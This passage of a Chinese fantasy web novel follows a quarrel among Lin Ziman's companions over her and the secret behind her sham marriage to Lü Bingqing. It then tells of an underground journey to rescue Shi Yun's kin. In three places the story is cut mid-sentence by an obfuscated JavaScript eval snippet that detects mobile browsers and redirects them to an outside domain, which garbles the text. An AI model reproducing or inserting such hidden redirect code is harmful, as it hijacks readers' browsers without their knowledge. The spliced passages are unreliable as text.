迟渊声音发冷:“你什么意思?难不成要罔顾人伦吗?!” 秦扬讥讽一笑:“以迟少主的身份地位,自是做不出抢夺人妻之事。而我就不同了,我不过一介无名之辈,无甚名声需要在意,我也丝毫不在乎他人的看法。我若喜欢,才不会管她是我师父还是师娘,你们顾忌的东西,我都不放在眼里。” 这一番直白又无赖的话实在将迟渊气得够呛,他忍不住拔高了音量:“你可以不在意世俗的眼光,那她呢?也要陪你一道受千夫所指吗?!” “我自然不会让她遭受这些。”秦扬微扬下巴,“我既敢做,自会提前为她扫清一切障碍,保证她不会受到一丝伤害。” “就凭你?”迟渊冷笑道,“你拿什么保证?拿你这空口说白话的本事么?” “就凭我。”秦扬高傲地睨了他一眼,“迟少主,有些事你不敢做、做不到,不代表别人也做不到。” 两人针锋相对,火药味正浓,一道声音传了过来。 “你们俩在这儿干吗呢?” 林子满循声走过来,皱眉看着两人:“大晚上的不休息,在这黑灯瞎火的林子里吵什么呢?大老远就听见你们嚷嚷了。” 秦扬反应迅速,指了指地上的枯枝,十分无辜:“火不够旺了,我只是来捡些树枝当柴烧。” 迟渊一看他这幅装模作样的样子就来气,明明上一刻还嚣张得不行,下一刻就能装出一脸无辜,好似他迟渊才是那个挑事找茬的人,真是应了那句变脸比翻书还快! 见林子满疑惑地看着自己,迟渊冷冷哼了声,硬邦邦地说:“他出言不逊,我教训了他两句。” 林子满有些哭笑不得:“你都多大的人了,还跟个小辈计较?迟大少主,你气量什么时候变得这么小了?” “来,跟迟大少主赔礼道歉。”林子满推了秦扬一把。 秦扬这下又恢复成了那个听话的小弟子,恭恭敬敬地说着道歉的话,态度谦卑,毫不在意迟渊的冷眼。 秦扬已熄了火,迟渊也不好再继续责难,一个人唱独角戏未免显得太斤斤计较,只能不情不愿地应和了几声。 看他这态度,林子满觉得挺稀奇,问秦扬:“你这是说了什么大不敬的话,将他气成了这样?” 秦扬处事向来圆滑,礼数周到,于待人接物上从未出过什么差错。今天这是怎么了,出去拾个柴还能把一向随和的迟渊给得罪了? 秦扬故作苦恼地垂下眼,语气有几分委屈:“我不过是说了几句心里话,没想到迟少主就觉得我是在冒犯他。怪我没见识,小门小派出身,不懂大宗门里的礼数规矩。” 40. 内情 这是在明里暗里地说他摆架子? 迟渊暗暗咬紧了后槽牙,才忍住了差点脱口而出的粗话。 自年岁渐长,逐渐挑起蕉林谷重担后,他越发沉静稳重,已经很久没有人让他这么憋屈了! 闻言,林子满果真略带嫌弃地瞥了他一眼:“你什么时候学起了那些纨绔子弟的做派?” “我没有!”迟渊咬牙切齿。 林子满狐疑地打量了他几眼,明显不太相信,但又不好多说什么,毕竟迟渊迟早有一天会坐上他爹的位子,成为蕉林谷的谷主,一宗之主该有的威严与气势还是要有的,总不能一直像从前那般大大咧咧、平易近人。 因此她也没再继续揪着这个问题不放,转而说起自己的来意:“有件事我想问问你。” 迟渊:“何事?” “如果到时候我们将石云的族人救了出来,能不能带着他们一起离开妖都?” 如今妖族二王子炙手可热,人族在这里的处境只会比从前更难。若将来有一日,他当真成了下一任妖王,妖都里的人族怕是要迎来灭顶之灾。 但他们能做的实在有限,不可能有办法将妖都所有的人族都搜罗起来带出去,只能能救一个是一个。 但迟渊摇了摇头,打破了这一点希望:“我们此次出来得匆忙,并没有绘制多余的灵符,一张匿符至多不过能隐藏五六人的气息,人太多是骗不过阵法的。” 林子满失望地点点头,有几分茫然地想,人的命运难道真的从一出生就注定好了吗?有的人生来就是锦衣玉食,有的人终生穷困潦倒,而他们只因生在妖都,终其一生在追求的,不过活命罢了。 “长老,明日还要赶路,不如我们还是早些回去休息吧?”秦扬将脚下的枯枝收拢成一捆,望向林子满。 林子满应了声“好”,抬脚刚准备往树林外走,迟渊忽然出声叫住她:“等等,我有话要跟你说。” 林子满脚步一顿,带着询问的眼神看向他,却见他并不开口,反倒是意有所指地瞥了秦扬几眼。 秦扬在心里嗤笑一声,这是要支开他好告状? 但他丝毫不怵,抱起那捆枯枝,十分乖巧懂事地退下了,临走之前还在林子满看不见的地方对迟渊嘲讽地笑了笑。 迟渊只觉得心里那股刚压下来的火蹭蹭蹭地又冒了上来,再开口时语气难免有些冲:“那个秦扬是怎么回事!这样的人你也带在身边?” 林子满莫名其妙:“你这是怎么了?他到底做了什么惹得你这么生气?” “他对你的心思,你难道毫不知情?”迟渊狐疑。 林子满:“……” 她有些尴尬地偏开头,掩饰性地咳嗽两声,简直欲哭无泪,怎么他又知道了?! 从前在永凌山时,至多不过被吕秉清苦口婆心地劝几句,但他到底敬重自己,不会管太多,现在被迟渊知道,她能被念叨死! 看她这幅样子,迟渊还有什么不明白?心里瞬间就跟明镜似的,什么都猜到了,这哪是毫不知情,这分明是一清二楚啊!说不准还乐在其中呢! “林芷满!我看你真是昏了头了!”他怒气冲冲地说,“先前我以为你忘不了之曜,同他在一起也是想了却一个念想。结果呢?你竟已经成亲了!他还是你那道侣的徒弟!这若让外人知道了,你知道你会遭受多少流言蜚语吗?!” “你明知他的心思,却不加阻止,反而让他一直跟着你!你让我说你什么好?!” 怎么连这都知道了? 林子满现在大概能猜到秦扬刚刚都说了些什么了,心里难免有些气恼,都与他说过多少次了,他不知悔改也就罢了,怎的还变本加厉了? 她有些头疼地按了按额角,不得不先安抚面前暴跳如雷的迟渊:“事情不是你想的那样。” “不是我想的哪样?是你并未成亲,还是他不曾对你心怀不轨?这一桩桩一件件,他刚才可都一一交待清楚了!”迟渊冷笑一声,板着张脸看她要怎么狡辩。 “他又能知道些什么。”林子满有些无奈,“我与他师父虽成了亲,但这所谓的夫妻关系实际上有名无实,当年我不过是为了帮吕秉清一个忙,才与他假意成了亲。” 迟渊心里虽信了大半,面上却依旧作出一副怀疑的样子:“有什么忙需要成亲才能帮?” 林子满有些犹豫,这其实是吕秉清的私事,实在不好随意讲与旁人听。 “就是他从前与一名女子有情,但他们的关系为世俗所不容,他母亲以死相逼,他不得不另娶他人。”林子满斟酌着措辞,“但总不好就这样害了另一个姑娘,当时我借住在永凌山,便帮了他这个忙,过了他母亲那关。” 她隐约说了个大概,并未细说,听起来就是对被父母拆散的眷侣。 但事实上远非如此简单,当年吕秉清受此打击,险些一蹶不振。 说来,又是一个造化弄人的故事。 吕秉清的母亲吴谙水,年少时曾误入一处寒冰洞窟,被困月余,险些丢了性命,即便后来被救出,但寒气入体,就此伤了根本,从此药汤离不了口。 与当时的永凌山少主吕不渝结为道侣后,多年也未能有所出,但她家世显赫,即便常年缠绵病榻也无人敢多说什么。 后来多方寻医问药,豁出半条命才终于得了吕秉清这么一个孩子,如珠似宝地疼着。 是以将吕秉清宠成了个天不怕地不怕的性子,虽生在个排不上名号的小宗门里,却自有一股傲气,觉得世上没有自己办不到的事。 他修行之路顺畅无比,又在情窦初开时遇到了想要相许一生的人,可谓是春风得意。 那女孩名唤琼若,生得温婉可爱,与陌生人多说几句话都会脸红,吕秉清这样闹腾的少年,偏生就喜欢上了这样一个容易害羞的女子。 少年心性,最是纯挚热忱,一旦沾染上情爱,便是烈火遇干柴,一发不可收拾。 两人情投意合,暗许终身,没过多长时间就已到了谈婚论嫁的地步。 一切本无比美好,吕秉清的父母也十分尊重他,见他实在喜欢,便从未说过什么门当户对的话,可就在着手为他上门提亲时,变故发生了。 琼若与吴谙水是有些沾亲带故的,琼若的祖母是吴家远房旁支出身,细算下来,她其实是吴谙水外甥的女儿。 这本不是什么大问题,修士的寿命与凡人相比过于漫长,辈分这种东西在修真界实在是可有可无,毕竟两个年岁相当的人,其中一人可能是另一人的曾祖父。 可就在双方父母见面,说及祖上渊源时,吕不渝的脸色不知为何突然变了,还失手打翻了茶盏,可谓极为失态。 事后他一反常态,说什么都不同意这门亲事,问起缘由,却又含糊其辞。 这让吕秉清如何愿意? 他誓死抵抗,吕不渝也丝毫不让,父子两几乎闹成了仇人。 吴谙水看出其中门道,暗中派了人去查探。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902857|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一查可不得了,吴谙水直接被手下人呈上来的结果气得呕了血,险些一命归西。 一切还得从百年前说起,当年吴谙水与吕不渝成亲后便搬去了永凌山,谁知没过几日却旧疾复发。医修看过后说是因为她身体过于虚弱,永凌山灵气又不如吴家充沛,才导致她突然病发。 吴谙水无法,不得不重新住回吴家。吕不渝体贴又情深,不忍同新婚妻子分别,便随她一道回了吴家,日日贴身照顾,无微不至。 吴家当时还有个旁支的姑娘在借住,她是因着家中出了变故,来本家寻求庇护的。 那时的吴谙水丝毫没有注意到这个柔柔弱弱的远方表妹,毕竟她才是正儿八经的吴家小姐,至于那些旁支的姑表姐妹,没有一百也有八十,她哪能个个都记得住?只隐约听说她在吴家住了一段时间便匆匆回家嫁人了。 但谁能想到,就是这么一个她从未放在眼里的表妹,在她养病期间,与她那阖府上下都夸赞的丈夫混在了一处!还珠胎暗结,生下了一个孩子! 这孩子不是别人,正是琼若的父亲! 所以当时吕不渝才那样失态,他怎么也没想到,上百年过去了,年少轻狂时欠下的风流债,会在这时猝不及防给他当头一棒。 这件事就这么被捅了出来,吴谙水心气高,哪受得了这样的委屈?待能下床走动了,二话不说便回了娘家。 与凡间相比,修真界于亲缘一道上其实算得上是淡薄的。但吴谙水当年是为了替父寻药才误入寒冰洞窟,从而落得个修为再难进益的下场,所以吴家家主对这个女儿难免心怀愧疚。这回吴谙水遭了这奇耻大辱,他怎能不为她讨回公道? 永凌山掌门自知理亏,在吴家施压下,不得不将亲生儿子逐出山门,郑重迎回吴谙水,并且允诺此生只认吕秉清这一个孙儿,未来的掌门也只会是他。 上一辈的恩怨倒是好解决,大家都是体面人,情情爱爱都压于理智之下,孰轻孰重不至于拎不清。 但对吕秉清来说,这一切还是过于沉重了。 自小敬仰的父亲原来是一个始乱终弃的人,发誓要相伴一生的挚爱成了自己的侄女,这让他怎么接受? 琼若的父母怕引来吴家的不满,匆匆将她嫁去了一个极远的地方,以这种方式告诉吴家,不会让琼若与吕秉清再有丝毫能牵扯上的机会。 但吴谙水还是觉得不够,她的身体本就不好,受此打击更是大不如前,隐隐有油尽灯枯的前兆。她怕自己一死,吕秉清无人规劝,会一时冲动去与琼若再续前缘,因此强逼着他尽快娶妻。 吕秉清却不愿意。 他虽不过二十来岁,经此一劫,却已心死,自知此生不会再爱他人,又何必再去祸害一个无辜的女子? 吴谙水却将他的不愿当成了不死心,以为他当真还想着琼若,便以自己与琼若的性命一同相逼,他若不从,就要眼睁睁看着对自己来说最重要的两个女人一同殒命。 正当他如困兽般濒临崩溃,恨不得自己去死时,云游四方的林子满回来了。 看着痛苦不堪的吕秉清,林子满提出了与他假意成亲的办法。 开始时吕秉清是不同意的,他谢过林子满的好意,苦笑道:“这不是瞒一阵子就能成的。母亲说我将来若是和离,就会将流言散入琼若夫家,让所有人都知道她曾经的情郎为了她和离了,让她一生不得安宁。她父母都是不扛事的,肯定不会为她撑腰,她那么柔弱,无依无靠的,怎么忍受得了?” 41. 嘲讽 吴谙水这一招实在是狠。 若是随便找个人假成亲,即便是她逝世以后,两人都无法得到自由,否则琼若就会被毁掉下半辈子。 但那时的林子满恰巧是最合适的人选,她对吕秉清说:“你说自己心已死,我又何尝不是呢?既然有些东西我没办法再得到,就让另一个姑娘替我去追寻吧。” 就这样,林子满帮他解了这燃眉之急,自己待在永凌山从此也有了个名正言顺的由头。 这假夫妻一装,便是几百年。 从前林子满常年在外游历,极少回永凌山,时常会忘了自己在外人眼中已是“有夫之妇”,如今被迟渊这样追问,实在是有些尴尬。 好在迟渊没有细问,知道所谓的成亲只是一场戏就不再纠缠这个问题。 但林子满也免不了被一顿说教,尽是些什么要她振作起来,不可自暴自弃,远离秦扬这种居心叵测之人之类的,听得她是一个头两个大。 好不容易将他糊弄走,林子满身心俱疲地走到火堆旁坐下,深深地吐了口气。 偏生秦扬还不知趣,故意凑到她眼前晃来晃去。 林子满冷冷地瞥了眼那个试图引起自己注意的人,一言不发。 看她这幅模样,秦扬一怔,心往下沉了沉,靠过来试探地问:“长老心情不好么?迟少主与你说什么了?” “他会与我说什么你心里难道不清楚吗?”林子满冷冷一笑,“你大放厥词的时候难道就没想过他会告诉我?” 秦扬沉默片刻,声音低了几分:“我不过是实话实说罢了。” “好一个实话实说。”林子满嘲道,“那你怎么不将我警告你不要胡思乱想的话一并告诉他?说一半留一半,还偏偏确实说的都是些实话。我从前怎么没发现,你生了这样一张巧嘴啊?” 秦扬抬眼,盯着她看了会儿,才缓缓说:“所以长老是在生我的气?气我挑拨了你们之间的关系?”他语气平静,却莫名有种风雨欲来的味道。 林子满哼了声,不置可否。 秦扬:“你既能接受他对你图谋不轨,又为何独独对我避之不及?为什么他可以我就不行?我到底哪里比不上他?” 林子满有些懵,愣了好一会儿才反应过来他话里的意思,顿时更气了:“你说什么呢!我跟他只是朋友!” 天地良心,她是万万没想到秦扬是如此看待她与迟渊的关系的!难道她看起来真那么放荡不羁,那么像会背着丈夫找野男人的人吗?! “莫说从前我与他就是清清白白,现如今我们俩身份天差地别,更是毫无可能!”林子满气急败坏地低吼。 见她如此生气,秦扬半信半疑地问:“真的?” “当然是真的!你以为谁都跟你似的,如此不将世俗伦理放在眼里吗!”林子满翻了个大大的白眼,抱臂往石头上一靠,眼睛一闭,再不想理他。 这一番动静自然没逃过不远处迟渊的眼睛,他支着脑袋看了半天好戏,见秦扬察觉到他的视线也不避开,反而讥诮地笑了笑,甚至动用灵力使出传音入密:“真可怜啊,自荐枕席被拒绝了。” 秦扬眼神一冷,却也不肯落于下风,同样将一句嘲讽的话送至迟渊耳边:“彼此彼此,迟少主也不遑多让,她刚刚可是说与你绝无可能呢。” 迟渊嘴角笑意一僵。 两人相看两厌,这回倒是极为默契地一同撇开了头,眼不见心不烦! * 天色微明时,一阵匆匆的脚步声响起,林子满睁开眼,看向声音传来的方向。 石云一脸喜色地走过来:“我找到他们留下的标记了!” 早些时候,迟渊他们一行人就已趁着夜色离开了,只剩下林子满、秦扬、时客以及坚持要跟他们一起走的莫叶声。 心焦的石云怕自己再耽搁下去又生变故,会连仅剩的这几个帮手都失去,于是不顾劝阻,一宿没睡,举着火把艰难地找了一夜。 好在苍天不负苦心人,终是让她将消失的标记重新找了回来。 林子满顺着石云手指的方向,仔细辨认一番,才看出地上有几粒绿豆大小的棕黄色石子与其他石头有所不同,摆成了一个奇怪的图案。 那石子的颜色与土地极为相似,混在一堆石块里,寻常人根本发现不了,怪不得石云先前说他们一族的标记隐秘,就算她指出来,他们都得细看才能发现。 “你们族人身上还随身带着石头?”林子满好奇地问。 “这不是石头,这是神树的种子。”石云认真道,“在妖都,粮食是很珍贵的东西,很多人逃过了妖的利爪,却没逃过饿死的命运。传说我们一族就是靠着神树的果实,才熬过了一年又一年粮食短缺的日子。” “后来随妘娘娘住进灵泽,我们终于能够安下心来种粮食,再也不用饿肚子了。但族长说我们不能忘了神树,便在山头又种了一棵,从此人人都带着用神树种子做成的珠链,当做护身符。我们约定好,以后若不小心失散,便用此做标记。神树生命力顽强,不管在什么样的环境里都能生根发芽,即便一时失去踪迹,它也终将指引我们重逢。” 石云掏出属于自己的那串珠链,小小的种子已被摩挲得泛起微微光泽,她脸上不自觉绽放出一抹淡淡的笑:“这次也是多亏有它,我才能去救哥哥他们。” 神果然会保佑他们,妘娘娘是这样,神树也是这样。 既重新确定了方向,事不宜迟,几人不再耽搁,收拾了东西即刻动身。 见他们个个都是一身利落黑袍,石云有些不确定地问:“你们真的不穿兽皮吗?” 林子满疑惑:“为何要穿兽皮?” 石云解释道:“裹上兽皮可以掩去我们身上的气味,如果遇到的妖实力一般,他们就得掂量掂量我们到底是人还是妖,不会轻易对我们下手,能省去不少麻烦。” 林子满看着她身上那块看起来还十分“新鲜”的兽皮,并不是很想穿:“我们族内有一种丹药,吃了便能隐藏气息,不必用这些外物。” “丹药?莫非你们族内有传说中的丹修?”石云讶异。 “我也不知道他是不是什么丹修,不过那位长老确实会常常做些丹药给我们,吃了身体便能强健许多。”林子满含糊地说。 “真好啊。”石云语带羡慕,“怪不得你们隐居的地方从未被妖族发现过,原来是有丹修啊。” “这次也不知道他们能不能逃过一劫。”林子满故作忧愁地叹了口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902858|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没办法,演戏得做全套。 * 石云循着族人留下的标记,带着他们在山石林间转来转去,天色都快暗下去了,几人还在大树林子里绕。 时客看着左前方的那棵树,不由得皱起眉头,树上有她不久前刻上去的划痕。 他们好像一直在兜圈子。 “这个地方我们不是来过吗?” 听他这么说,林子满仔细看了看周围的景色,发现还真是:“这是怎么回事?你迷路了?” 石云也十分不解:“我就是顺着标记找过来的,应当不会出错啊。” 她数着步子蹲下身,从落叶缝隙里捡出几粒种子:“是这儿没错,先前那些种子我都收起来了,哥哥他们确实又回到了这里。” 林子满疑惑:“那些妖怎么回事,在这树林里绕什么?这里莫不是有什么古怪?” 但无人能解她的疑惑,没人能猜到一群凶残的妖想要干什么,他们只能继续往前走。 好在他们终在日光彻底消散前,走出了那片可能暗藏危险的树林。 夜色昏暗,几人不得不停下脚步,寻了一处平坦开阔的地方暂做休息。 时客在替他们燃起火堆后,不知去了何处,好半晌没回来,连带着莫叶声也不知所踪。 林子满倚着一块巨石昏昏欲睡,忽闻一阵凌乱脚步声传来。 她抬头看去,是冷着张脸的时客,身后不远处跟着捂着脸的莫叶声。 时客平时话极少,脸上也无甚表情,林子满看他这幅模样,显然是怒极的表现,浑身都在往外散发着寒气。 他身上的衣服沾着些水,发尾也有些湿。 林子满想起当时在树林里兜圈子时,好像是看见过一小方水潭。这些天风尘仆仆地赶路,想来像他这样爱干净的,实在有些受不了,便趁着今日擦洗一番。 只是怎么弄成了这幅样子?莫不是打架了? 林子满见莫叶声走过来,忍不住问了几句:“你跟时客打架了?你可不能仗着人家脾气好就欺负人家啊。” 莫叶声有些委屈地说:“我没有……” 他只是见时客独自往树林里去了,想起先前说的林中或许有古怪,便有些担心,忍不住跟了上去。毕竟先前在魔域时,他伤重行动不便,大半时间都是时客在照顾他。 经过那几天的相处,莫叶声知道他是个心地极好的人,只是不善言辞,又从不肯麻烦他人。所以远远看见他一人离开,就猜他可能有事,又不愿说出来给大家添麻烦,便想着跟过去帮上一把。 谁知道他是去水潭里…… 想到这,莫叶声的脸忍不住又红了起来,羞得连脖子都红透了。 林子满看着他这幅古怪的样子,一头雾水,又瞥见他左手捂着的半边脸上漏出来半个巴掌印,顿时明了了。 “你既打不过就不要去招惹人家,现在挨了揍了,知道羞愤了?” 莫叶声想要辩解几句,一转眼就看到时客冷冷的目光,顿时吓得垂下眼皮,支支吾吾地应了几声,再不敢说话了。 林子满看得好笑,却也并不担心两人就此交恶。 少年人不就该是这样么,跳脱灵动,整日吵吵闹闹,却从不会真的记仇。 42. 虫妖 五人循着标记,一路上翻山越岭,最终停在了一处沼泽前。 石云仔仔细细找了好几遍,确定标记消失前最终指向的就是这里。 “这是真的沼泽还是障眼法?”林子满狐疑地打量着地上的泥浆,“这沼泽底下难不成还能藏人?” 莫叶声蹲下身仔细查看了一番:“看起来不像是假的。” 这可如何是好,难不成要他们跳进去?林子满有些嫌弃地蹙眉,这沼泽不知存在多少年了,淤泥往外散发着一阵阵恶臭,光是闻着就让人反胃,敢跳下去的那可真是勇气可嘉,令人佩服! “他们好好的进这臭气熏天的沼泽干什么?难不成那群妖是乌龟精?”林子满忍不住打趣。 石云猜测道:“他们应该是想通过这处沼泽回到灵泽。” “通过这沼泽可以到达灵泽?”林子满有些惊讶,重新打量了一番面前的沼泽,怎么看都只有奇臭无比这一个特点,怎会与灵泽相连的? “我从前听妘娘娘说过,妖都地底下有许多条暗河,都是互通的,顺着水流的方向,就能到达灵泽。沼泽附近大多会有暗河,因此有的妖不想赶路时,便会召出生活在沼泽里的一种低等虫妖,驱使它们载着自己赶路。”说到这儿,石云有些苦恼,“但我不知道要如何召出那种虫妖,否则我们就能乘着它去救哥哥他们了。” 想来那些妖并没有急着杀掉抓到的人族,而是带着他们赶回灵泽,应该是想将战利品献给二王子。 石云知道,想要救下族人,就得在路上动手,否则一旦回到灵泽,那可就真是一点希望都没有了。 可若召不出虫妖,他们就没办法走水路去追。 石云拼命回想,试着回忆起当时妘娘娘与他们说的话,她当时应该提到过如何召唤它们的,怎么自己偏偏给忘了呢? 她急得眼圈都红了,却仍是毫无头绪,最终咬了咬牙,狠心道:“若实在没办法我们就进沼泽!总能找到他们的踪迹的!” 余下四人:“……” 真、真的没有别的办法了吗? “你说的那种虫妖是不是体型极小,族群喜欢一起行动?”就在他们露出一脸视死如归的表情时,秦扬像是忽然想到了什么。 “你知道?”石云眼前一亮,猛地抬头看向他,瞬间觉得这个长得过分俊美的青年,此刻犹如天神下凡,周身都笼罩着一层光辉。 秦扬点点头:“我好像在古籍里见过这种虫妖。” “那你还记得怎么召出它们吗?”石云急切追问。 秦扬拧眉思索着,迟疑着说:“好像……是用血。” “我也不太确定,先试试吧。”他用剑在掌心割出一道口子,将血滴进沼泽中。 殷红的血接触泥沼的刹那,犹如冷水滴在烧红的木炭上,滋滋作响着冒出了白烟。 再看那沼泽,好似由内向外地震颤起来,动静越来越大。 不多时,一群虫子冲破泥沼飞了出来,连绵不绝,首尾相衔地在空中盘旋,乌泱泱的一片,简直可以说是遮天蔽日。 它们飞着飞着,忽然变换了阵型,原本是毫无章法地混在一团,现在交错着编织出一个巨大的口袋。 “我们难道要进这个‘口袋’里?”林子满看着那密密麻麻的虫子,感觉头皮发麻。 “无碍的。”秦扬看她脸都快绿了,顿时有些忍俊不禁。 他上前一步,率先踏上了那个数以万计的虫子围成的口袋。 神奇的事发生了,他并未如林子满想象地那样直接踩在虫子上,也没有踏空掉下来,而是微微腾空,脚不沾虫地悬在了空中。 “上来吧。”秦扬微微一笑,朝她伸出手。 林子满抓住他的手,将信将疑地抬脚踩了上去。 脚下云靴在快挨到那些虫时,突然感受到了一阵阻力,将她稳稳地托住了。 原来这虫在振翅时,会带起一阵小小的风,无数的虫妖一起振翅,便会形成这样一层无形的屏障,使得他们能够如履平地。 “这倒是有些意思。”林子满放下心来,还有了闲情逸致观察起那群虫妖来。 这虫妖远看着黑压压的一大片,有些渗人,细看却并不算丑,翅膀玲珑剔透,身体小而圆滚,上面覆着一层薄薄的甲壳。 “你倒是见多识广,连这种东西都认识。” 因着上次的事,林子满心里着恼,连着好几天没给秦扬一个好脸色。今天还是多亏了他,才不用跳进那发臭的沼泽里,便忍不住对他和颜悦色了几分。 秦扬也不居功,笑意盈盈:“是长老教得好。” 这些虫妖妖力极低微,灵智虽开却依旧懵懵懂懂,经过血的刺激,便会受本能驱使,自动往灵气最为充沛的地方去。 而整个妖都灵气最为充沛的地方,便是灵泽。 待他们几人全部走进那口袋后,虫妖嗡鸣着飞舞,大敞的口袋逐渐收拢,变作一颗密封的圆球。 圆球腾空而起,落入沼泽中,慢慢沉了下去。 泥沼中漆黑一片,什么都看不见,耳边只有虫妖振翅的嗡嗡声。 就这么过了好一阵。 忽然,一束束光线自四面八方射了进来,光线虽弱,却勉强能视物了。 且随着光线的逐渐增强,虫妖的身体在慢慢变得透明,他们甚至能透过虫妖交织成的圆球看到外面的景象。 四周尽是嶙峋的怪石,挨挨挤挤地围出一条不大的通道,脚下是散发着莹莹白光的地下暗河,河边还能看见些不明来历的脚印与骨头。 这通道并不高,大半虫妖都浸在水里,却没有一滴水能够突破这圆形屏障渗进来。 林子满透过虫妖的身体,看着外面及腰的水波微微晃荡,不禁啧啧称奇,用这虫妖走水路是真方便,还能领略一番这难得一见的景色。 这虫妖看似弱小无力,带着他们几个大活人速度却丝毫不慢,不多时就已随着水流飘出去极远。 石云本还在担心能不能追上那群妖,毕竟也不知他们是何时入的沼泽,如今又走到了哪里。 但他们这次的运气似乎格外不错,在途经一处极为开阔的地下洞穴时,他们发现了一群趴附在岩石上休息的虫妖。 众人互换了个眼神,秦扬驱使虫妖悄悄靠了岸,几人不动声色地躲在一块巨石后面,望向洞穴口,那里守着两个人。 “是他们吗?”林子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902859|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满轻声问。 石云用力地点点头,眼里是藏不住的激动,终于找到哥哥他们了!他们现在一定就被关在那洞穴里。 但找到是一回事,想要把人救出来才是真的困难。 他们借着巨石遮挡,远远地观望了好半天,也不见守在那儿的妖有所动作。 “这附近还有别的入口能进去吗?”林子满问。 石云迟疑着摇摇头:“应该没有了,这种地下洞穴都是暗河冲刷出来的,一般只有临近河边的这一处会有入口。” 那可就难办了,总不能就这么冲上去跟他们打吧? 林子满拧眉沉思了会儿,突然眼前一亮,想到个法子:“不如我们假意投诚,进去看看情况?” “要怎么做?”听到她有了办法,石云连忙追问。 “我们可以假作成一群路过的妖,反正妖族都有隐藏原身的习惯,只要小心谨慎些,他们应当认不出来,毕竟他们也想不到会有人胆子大到敢冒充妖族。”林子满解下腰间铁剑,“剑就不能再带着了,否则太容易暴露。” “可是他们见过我,双方一打照面不就露馅了?”石云担忧地说。 林子满想了想,说:“那你就留在外面等我们吧,你仔细将自己藏好,不要被发现就行了。” “她还是跟我们一起进去比较好。”沉默寡言的时客忽然开口,“不然我们连哪些是她的族人都分不出来,万一不小心误伤了怎么办?” 听他这么说,石云也紧张起来:“那、那我要怎么跟你们进去才不会被发现?” 时客:“你就装成是被我们捉住的人族就行。” “是个不错的办法。”林子满点点头,“这样还能减轻那些妖的怀疑。” 几人商议妥当,将佩剑藏在石头下,重新乘上虫妖搭就的船,晃晃悠悠地驶向那处洞穴。 他们一行人很快就吸引了那两只守门妖的注意。 “来者何人?” 一妖飞身而来,大声喝道。另一妖警惕地观察着局势,随时准备冲进去报信。 “凭你也配问我?”林子满微昂着头,居高临下地瞥了他一眼,语气高傲冷漠。 那只妖果然被震住,不敢再发难,小心翼翼地打量着他们,待看到蜷缩在一旁的石云时,眼神微变,这人族怎么看着这么眼熟? 林子满注意到他的视线,冷声道:“怎么,你在觊觎我的猎物?” 虫妖随着她的脚步缓缓散开,林子满闲庭信步地踱至他身前,摸着下巴像打量死物一般扫视了他几眼:“你的肉想来会比那瘦弱的人族好吃些,你既喜欢她,不如我们做个交易吧,我将这人族送给你,你将她吃了以后,再将自己赔给我?” 这话若放在人界,那就是恶霸无赖的混账话,放在妖都却很正常,毕竟弱肉强食是这儿唯一的法则,实力强大便可决定一切。 林子满一边说着狂妄之语,一边不动声色地释放威压,那只妖脸色霎时变得苍白,后背尽是冷汗,那是被天敌盯上的危机感。 “狼一,还不退下?”一名紫衣男子自洞穴中走出,身后簇拥着好几只妖,“来者是客,你如此无礼,岂不是失了我们府上的脸面?” 43. 妖侍 名叫狼一的妖双腿发软地退至男子身后,心里不自觉生出些劫后余生的庆幸。 林子满神色不变,淡漠地扫了他一眼:“哦?你是他的主子?那事情更好办了,我看上他了,你将他交予我,我用那个人族跟你换。” 真是太嚣张了! 在场所有的妖心里不自觉冒出这一句话。 但他们不敢说什么,因为她既然敢如此不将他们放在眼里,必然是有足够的底气。 紫衣男子静默片刻,在狼一紧张的眼神里微微一笑,无情地说:“若姑娘当真喜欢,我直接送与你便是了,就当是与姑娘交个朋友。” 听到他这样说,林子满有些欣慰地笑了:“你倒是懂事。” “这一路上碰见的大大小小的妖里,就数你最知分寸,有眼色。”她假意夸赞两句,“你这个朋友,我交了。” 紫衣男子笑意不变:“承蒙姑娘看得起我,在下荣幸之至。” 林子满随口应和两句,望着他们身后的洞穴,好似被勾起了兴趣:“你们在这不见天日的暗河里做什么呢?” “我们在回灵泽的路上恰巧碰到个有意思的小玩意儿,就在此逗留了几日。”男子看了眼漂在暗河上的虫妖,“你们也是要去灵泽?” 林子满点点头:“听说灵泽里有许多有趣的地方,便想着去瞧瞧。” “那不如与我们同行?到时候我也能略尽地主之谊,带姑娘好好逛逛。”紫衣男子语气恳切。 如今灵泽形势复杂,若能拉拢这不知名的大妖,便能多一份助力。 他压下心中所想,笑容越发殷切。 林子满无可无不可地点点头,对此不甚在意,倒似对他口中提到的小玩意儿有几分好奇:“这暗河里还能有什么稀奇东西?” 